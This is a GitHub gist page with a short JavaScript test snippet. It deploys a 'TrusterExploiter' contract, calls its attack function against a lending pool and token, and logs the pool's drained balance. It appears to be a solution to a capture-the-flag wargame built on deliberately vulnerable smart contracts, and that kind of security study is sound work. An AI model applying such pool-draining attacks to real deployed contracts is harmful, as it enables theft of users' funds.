Skip to content

Instantly share code, notes, and snippets.

Created January 22, 2023 17:43
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save az0mb13/34a40d3f3cbf4a307a2bb30c1a1f89b5 to your computer and use it in GitHub Desktop.
it('Exploit', async function () {
const TrusterExploiter = await ethers.getContractFactory("TrusterExploiter", attacker);
this.exploit = await TrusterExploiter.deploy(this.pool.address, this.token.address);
await this.exploit.connect(attacker).attack();
console.log("Updated pool balance is: ", await this.token.balanceOf(this.pool.address));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment